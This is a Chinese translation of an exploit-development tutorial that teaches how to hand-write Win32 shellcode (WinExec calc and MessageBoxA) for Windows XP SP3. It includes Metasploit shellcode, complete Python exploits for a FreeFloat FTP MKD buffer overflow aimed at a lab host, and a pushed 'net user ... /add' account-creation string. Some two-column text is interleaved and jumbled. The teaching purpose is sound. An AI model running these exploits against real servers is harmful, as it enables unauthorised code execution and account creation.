Writing W32 shellcode 译者 :Netfairy 前言 欢迎继续! 以前我们都是用现成的 shellcode, 今天我们将从头开始写我们自己的 shellcode. 这是一个十分有用的练习, 两个原因 : (1) 如果有一个漏洞有严重的空间限制 (2) 理解 ROP( 返回导向编程 ) 的好办法 为了加快速度我决定使用第一部分为 "FreeFloat FTP" 写的漏洞利用框架. 你还需要一个 叫 Arwin 的软件, 他可以在指定 dll 文件找到函数的绝对地址. 下面是所有本节的相关信息 (C 源码和编译版本 ) 利用环境 :Backtrack 5 调试机器 :Windows XP PRO SP3 坏字符 : \x00\x0a\x0d 漏洞软件 : 下载 Arwin+ 源码 :arwin.rar 介绍 开始之前我想先说几件事. 首先我们的写的 shellcode 基于特定的操作系统 ( 我选择 Win XP SP3). 其次需要操作系统 dll 文件没有基地址随机化 (ASLR) 才可行. 再有就是 Google+MSDN 是 你最后的朋友. 最后就是写 win32 shellcode 实际上比听起来更容易, 不要气馁. 我们将要写两个 payload (1) 弹计算器 (2)MessageBox 弹消息框 首先我们需要了解这两个 API 的功能 (1)WinExec (2)MessageBoxA. 先看看用 metasploit 框架生成的 shellcode 长啥样 ( 注意大小 ). 别忘了对 shellcode 编码以避免 坏字符. (1) WinExec: 弹计算器 root@bt:~# msfpayload windows/exec CMD=calc.exe R msfencode -b '\x00\x0a\x0d' -t c [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1) unsigned char buf[] = "\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1"
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1" "\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3" "\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6" "\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc" "\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f" "\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c" "\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12" "\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40" "\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f" "\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78" "\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5" "\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92" "\xb8\x7f"; (2) MessageBoxA: 弹出一个标题是 b33f 内容是 Pop the box! 的消息框 root@bt:~# msfpayload windows/messagebox TEXT='Pop the box!' TITLE=b33f R msfencode -b '\x00\x0a\x0d' -t c [*] x86/shikata_ga_nai succeeded with size 287 (iteration=1) unsigned char buf[] = "\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1" "\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12" "\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc" "\x6a\x31\xb1\x94\x8e\xc2\x83\x50\x24\xaa\x2b\xea\x0c\x6b\x64" "\xf4\x05\x78\x23\x05\x37\x81\x32\x65\x3c\x12\x90\x42\xc9\xae" "\xe4\x01\x99\x18\x6c\x17\xc8\xd2\xc6\x0f\x87\xbf\xf6\x2e\x7c" "\xdc\xc2\x79\x09\x17\xa1\x7b\xe3\x69\x4a\x4a\x3b\x75\x18\x29" "\x7b\xf2\x67\xf3\xb3\xf6\x66\x34\xa0\xfd\x53\xc6\x13\xd6\xd6" "\xd7\xd7\x7c\x3c\x19\x03\xe6\xb7\x15\x98\x6c\x9d\x39\x1f\x98" "\xaa\x46\x94\x5f\x44\xcf\xee\x7b\x88\xb1\x2d\x31\xb8\x18\x66" "\xbf\x5d\xd3\x44\xa8\x13\xaa\x46\xc5\x79\xdb\xc8\xea\x82\xe4" "\x7e\x51\x78\xa0\xff\x82\x62\xa5\x78\x2e\x46\x18\x6f\xc1\x79" "\x63\x90\x57\xc0\x94\x07\x04\xa6\x84\x96\xbc\x05\xf7\x36\x59" "\x01\x82\x35\xc4\xa3\xe4\xe6\x22\x49\x7c\xf0\x7d\xb2\x2b\xf9" "\x08\x8e\x84\xba\xa3\xac\x68\x01\x34\xac\x56\x2b\xd3\xad\x69" "\x34\xdc\x45\xce\xeb\x03\xb5\x86\x89\x70\x86\x30\x7f\xac\x60" "\xe0\x5b\x56\xf9\xfa\xcc\x0e\xd9\xdc\x2c\xc7\x7b\x72\x55\x36" "\x13\xf8\xcd\x5d\xc3\x68\x5e\xf1\x73\x49\x6f\xc4\xfb\xc5\xab" "\xda\x72\x34\x82\x30\xd6\xe4\xb4\xe6\x29\xda\x06\xc7\x85\x24" "\x3d\xcf"; 你可以试试上面的 payload 是否工作. 译者注 : 用 _asm{ lea eax,shellcode; jmp eax;} 测试
是时候开始写我们自己的 shellcode 了. Exploit 框架 我决定用 "FreeFloat FTP" 验证我们编写的 shellcode. 这个软件我们在第一部分曾写过漏洞利 用程序. 首先我们看看这个软件的漏洞利用框架, 之前写的漏洞利用程序在下面 : #!/usr/bin/python # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 # # Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # import socket import sys shellcode = ( ) # Badchars: \x00\x0a\x0d # # 0x77c35459 : push esp # ret msvcrt.dll # # shellcode at ESP => space 749-bytes # buffer = "\x90"*20 + shellcode evil = "A"*247 + "\x59\x54\xc3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.af_inet,socket.sock_stream) connect=s.connect(('192.168.111.128',21)) s.send('user anonymous\r\n') s.send('pass anonymous\r\n') s.send('mkd ' + evil + '\r\n') s.send('quit\r\n') s.close 我们用这个框架验证接下来编写的 shellcode. 只需要把我们写的 shellcode 放到 shellcode 变
量即可. 下图可以看到控制 EIP 后执行到 nop( 也就是 shellcode). ASM && Opcode 编写 shellcode 必须要处理汇编和机器码 ( 汇编指令的十六机制表示 ). 你需要了解汇编的基本 知识 (push, pop,mov,xor, 等等 ), 毫无疑问, shellcode 是用机器码写的, 可能你会问我怎么知 道某条汇编指令的机器码是什么. 我会告诉你答案. 如果你在调试器某条指令下断, immunity 提供了编辑指令功能. 很多时候 immunity 就像是字典. 下面的截图就是把汇编指令翻译为相对应的机器码.
WinExec 写 WinExec 的 shellcode 之前, 我们需要了解这个函数, 它的参数. 你可以查阅 MSDN 得到相关信息. WinExec:MSDN 仔细看看这个函数的信息, WinExec 结构很简单, 包含三个参数 ( 实际上是两个参数 ): Structure: Parameters: UINT WINAPI WinExec( => 指向 kernel32.dll 的 WinExec 指针 ); in LPCSTR lpcmdline, => ASCII 字符串 calc.exe in UINT ucmdshow => 0x00000001 (SW_SHOWNORMAL) 让我们看下第一个参数. 第一个参数是指向 WinExec 的指针, arwin 可以帮助我们在没有 aslr 的 WINXP 找到这个指针. 在调试机器用终端打开 arwin, 执行下面的命令 : arwin.exe kernel32.dll WinExec 接下来就是如何把 ASCII 字符串 ( 在这个例子就是我们想要执行的命令 ) 写入堆栈. 第一次做 可能会有点困惑, 实际上并不难. 最好的理解方式是通过一个例子 : ASCII Text: ASCII Text: calc.exe abcdefghijkl
Split Text into groups of 4 characters: "calc" ".exe" Split Text into groups of 4 characters: "abcd" "efgh" "ijkl" Reverse the order of the character groups: groups: ".exe" "calc" Reverse the order of the character "ijkl" "efgh" "abcd" Look on google for a ASCII to hex converter converter and convert each character while maintaining maintaining the order: "\x2e\x65\x78\x65" "\x63\x61\x6c\x63" Look on google for a ASCII to hex and convert each character while the order: "\x69\x6a\x6b\x6c" "\x65\x66\x67\x68" "\x61\x62\x63\x64" To write these values to the stack simply add To write these values to the stack simply add "\x68" infront of each group: "\x68" infront of each group: "\x68\x2e\x65\x78\x65" => PUSH ".exe" "\x68\x69\x6a\x6b\x6c" => PUSH "ijkl" "\x68\x63\x61\x6c\x63" => PUSH "calc" "\x68\x65\x66\x67\x68" => PUSH "efgh" "\x68\x61\x62\x63\x64" => PUSH "abcd" 这看来非常直截了当, 你可能注意到了我们的 ASCII 字符串是 4 字节对齐. 如果不是 4 字节 对齐会怎么样呢? 有相当多的办法处理这个问题, 我建议你读 corelanc0d3r 写的这篇文章. 通过扩展的阅读你能学到更多知识. 我会介绍其中一项技术, 看下面 ASCII Text: net user b33f 1234 /add Split Text into groups of 4 characters: "net " "user" " b33" "f 12" "34 /" "add"
可以看到 add 没有 4 字节对齐, 非常简单, 在它后面增加一个空格字符就可以了 "add " => "\x68\x61\x64\x64\x20" => PUSH "add " "34 /" => "\x68\x33\x34\x20\x2f" => PUSH "34 /" "f 12" => "\x68\x66\x20\x31\x32" => PUSH "f 12" " b33" => "\x68\x20\x62\x33\x33" => PUSH " b33" "user" => "\x68\x75\x73\x65\x72" => PUSH "user" "net " => "\x68\x6e\x65\x74\x20" => PUSH "net " 最后我们需要 push 1 到堆栈, 这是 WinExec 的 ucmdshow 参数. 如果你不知道机器指令对应的机器码, 在调试里面打上 push 1 就可以看到了. ucmdshow 需要设置为 0x00000001 这有很多方式可以做到, 发挥你的想象力. 我们这样做 : PUSH 1 => "\x6a\x01" (ASCII "1" = "\x31") (*) 另外一种思路, 这样也可以 xor eax,eax (eax 清 0) inc eax (eax 加 1) push eax ( 把 eax 的值压栈 ) 综合 我们把这三个参数按照 MSDN 说明的顺序放到堆栈. 我两点需要注意 :(1) 由于栈是往地地址增长, 所以我们把最后一个参数先压栈 (2) lpcmdline 是我们要执行的命令字符串, 但 WinExec 需要的参数是指向命令字符串的指针. 下面这么做是错的 : "\x68\x2e\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack "\x68\x63\x61\x6c\x63" => PUSH "calc" / "\x8b\xc4" => MOV EAX,ESP Put a pointer to the ASCII string in EAX "\x6a\x01" => PUSH 1 Push ucmdshow parameter to the stack "\x50" => PUSH EAX Push the pointer to lpcmdline to the stack "\xbb\xed\x2a\x86\x7c" => MOV EBX,7C862AED Move the pointer to WinExec() into EBX "\xff\xd3" => CALL EBX Call WinExec() 上面这么做并不能成功. 我们看看执行这些指令会发生什么.
非常接近成功了, 但是注意到但 WinExec 使用 lpcmdline 参数的时候它不知道参数在哪结束. 我们知道 ASCII 字符串是以 \x00 结束的, 因此我们要给 lpcmdline \x00 结束符. 如下所示 这才是正确的方式 : We need "calc.exe" + "\x00"'s but we know that null-bytes are badcharacters however we can easily xor a register (which will then contain 4 null-bytes) and push it to the stack just before we push calc.exe. "\x33\xc0" => XOR EAX,EAX Zero out EAX register "\x50" => PUSH EAX Push EAX to have null-byte padding for "calc.exe" "\x68\x2e\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack "\x68\x63\x61\x6c\x63" => PUSH "calc" / "\x8b\xc4" => MOV EAX,ESP Put a pointer to the ASCII string in EAX "\x6a\x01" => PUSH 1 Push ucmdshow parameter to the stack "\x50" => PUSH EAX Push the pointer to lpcmdline to the stack "\xbb\xed\x2a\x86\x7c" => MOV EBX,7C862AED Move the pointer to WinExec() into EBX "\xff\xd3" => CALL EBX Call WinExec() 这应该足够了! 从下图可以看到参数布局是正确的. 执行这个代码将会弹出一个计算器.
#!/usr/bin/python # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 # # Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # import socket import sys # (*) WinExec # # (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED # # (*) MSDN Structure: # # # # UINT WINAPI WinExec( => PTR to WinExec # # in LPCSTR lpcmdline, => calc.exe # # in UINT ucmdshow => 0x1 # # ); # # # # Final Size => 26-bytes (metasploit version size => 227-bytes) # WinExec = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpcmdline "\x68\x2e\x65\x78\x65" # PUSH ".exe" "\x68\x63\x61\x6c\x63" "\x8b\xc4" # PUSH "calc" # MOV EAX,ESP
"\x6a\x01" # PUSH 1 "\x50" # PUSH EAX "\xbb\xed\x2a\x86\x7c" # MOV EBX,kernel32.WinExec "\xff\xd3") # CALL EBX # Badchars: \x00\x0a\x0d # # 0x77c35459 : push esp # ret msvcrt.dll # # shellcode at ESP => space 749-bytes # buffer = "\x90"*20 + WinExec evil = "A"*247 + "\x59\x54\xc3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.af_inet,socket.sock_stream) connect=s.connect(('192.168.111.128',21)) s.send('user anonymous\r\n') s.send('pass anonymous\r\n') s.send('mkd ' + evil + '\r\n') s.send('quit\r\n') s.close (2) MessageBoxA 接下来写 MessageBoxA shellcode, 先看看这个函数的参数. MessageBoxA:MSDN Structure: Parameters: int WINAPI MessageBox( => user32.dll 的 MessageBoxA 地址 in_opt HWND hwnd, => 0x00000000 (NULL = No Window Owner) in_opt LPCTSTR lptext, => 指向 "Pop the box!" in_opt LPCTSTR lpcaption, => 指向 "b33f" in UINT utype => 0x00000000 (MB_OK MB_APPLMODAL) 看起来有点复杂, 但是没有什么不能解决的. 和前面不同的是这里有两个 ASCII 字符串需要处理. 先用 arwin 在 user32.dll 找到 MessageBoxA 的地址 arwin.exe user32.dll MessageBoxA
好的, 像之前一样布置字符串如下.: ASCII Text: b33f ASCII Text: Pop the box! Split Text into groups of 4 characters: Split Text into groups of 4 characters: "b33f" "Pop " "the " "box!" Reverse the order of the character groups: groups: "b33f" Reverse the order of the character "box!" "the " "Pop " Look on google for a ASCII to hex converter converter and convert each character while maintaining maintaining the order: "\x62\x33\x33\x66" Look on google for a ASCII to hex and convert each character while the order: "\x62\x6f\x78\x21" "\x74\x68\x65\x20" "\x50\x6f\x70\x20" To write these values to the stack simply add simply add "\x68" infront of each group: To write these values to the stack "\x68" infront of each group: "\x68\x62\x33\x33\x66" => PUSH "b33f" "\x68\x62\x6f\x78\x21" => PUSH "box!" PUSH "the " PUSH "Pop " "\x68\x74\x68\x65\x20" => "\x68\x50\x6f\x70\x20" => 还有两个参数 :hwnd 和 utype. 这两个参数都设置为 0x00000000 就好了, 很方便, 通过异或 一个寄存器就可以. 反正我们之前也是要异或寄存器得到 \x00 作为 ASCII 字符串结束符. 这是我写的 shellcode( 当然, 你可以写你自己的正确的方法 :
"\x33\xc0" => XOR EAX,EAX Zero out EAX register "\x50" => PUSH EAX Push EAX to have null-byte padding for "b33f" "\x68\x62\x33\x33\x66" => PUSH "b33f" Push The ASCII string to the stack "\x8b\xcc" => MOV ECX,ESP Put a pointer to lpcaption string in ECX "\x50" => PUSH EAX Push EAX to have null-byte padding for "Pop the box!" "\x68\x62\x6f\x78\x21" => PUSH "box!" \ "\x68\x74\x68\x65\x20" => PUSH "the " Push The ASCII string to the stack "\x68\x50\x6f\x70\x20" => PUSH "Pop " / "\x8b\xd4" => MOV EDX,ESP Put a pointer to lptext string in EDX "\x50" => PUSH EAX Push utype=0x00000000 "\x51" => PUSH ECX Push lpcaption "\x52" => PUSH EDX Push lptext "\x50" => PUSH EAX Push hwnd=0x00000000 "\xbe\xea\x07\x45\x7e" => MOV ESI,7E4507EA Move the pointer to MessageBoxA() into ESI "\xff\xd6" => CALL ESI Call MessageBoxA() ) 看下面的截图, 参数显示正确, 继续运行将会弹出一个消息框. #!/usr/bin/python # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 #
# Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # # This exploit was created for Part 6 of my Exploit Development tutorial # # series - http://www.fuzzysecurity.com/tutorials/expdev/6.html # import socket import sys # (*) WinExec # # (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED # # (*) MSDN Structure: # # # # UINT WINAPI WinExec( => PTR to WinExec # # in LPCSTR lpcmdline, => calc.exe # # in UINT ucmdshow => 0x1 # # ); # # # # Final Size => 26-bytes (metasploit version size => 227-bytes) # WinExec = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpcmdline "\x68\x2e\x65\x78\x65" "\x68\x63\x61\x6c\x63" # PUSH ".exe" # PUSH "calc" "\x8b\xc4" # MOV EAX,ESP "\x6a\x01" # PUSH 1 "\x50" "\xbb\xed\x2a\x86\x7c" "\xff\xd3") # PUSH EAX # CALL EBX # MOV EBX,kernel32.WinExec # (*) MessageBoxA # # (*) arwin.exe => user32.dll - MessageBoxA 0x7E4507EA # # (*) MSDN Structure: # # # # int WINAPI MessageBox( => PTR to MessageBoxA # # in_opt HWND hwnd, => 0x0 # # in_opt LPCTSTR lptext, => Pop the box! # # in_opt LPCTSTR lpcaption, => b33f # # in UINT utype => 0x0 # # ); #
# # # Final Size => 39-bytes (metasploit version size => 287-bytes) # MessageBoxA = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpcaption "\x68\x62\x33\x33\x66" # PUSH "b33f" "\x8b\xcc" # MOV ECX,ESP => PTR to lpcaption "\x50" # PUSH EAX => padding for lptext "\x68\x62\x6f\x78\x21" # PUSH "box!" "\x68\x74\x68\x65\x20" # PUSH "the " "\x68\x50\x6f\x70\x20" # PUSH "Pop " "\x8b\xd4" # MOV EDX,ESP => PTR to lptext "\x50" # PUSH EAX - utype=0x0 "\x51" "\x52" "\x50" "\xbe\xea\x07\x45\x7e" "\xff\xd6") # PUSH ECX - lpcaption # PUSH EDX - lptext # PUSH EAX - hwnd=0x0 # MOV ESI,USER32.MessageBoxA # CALL ESI # Badchars: \x00\x0a\x0d # # 0x77c35459 : push esp # ret msvcrt.dll # # shellcode at ESP => space 749-bytes # buffer = "\x90"*20 + MessageBoxA evil = "A"*247 + "\x59\x54\xc3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.af_inet,socket.sock_stream) connect=s.connect(('192.168.111.128',21)) s.send('user anonymous\r\n') s.send('pass anonymous\r\n') s.send('mkd ' + evil + '\r\n') s.send('quit\r\n') s.close
原文链接 :http://www.fuzzysecurity.com/tutorials/expdev/6.html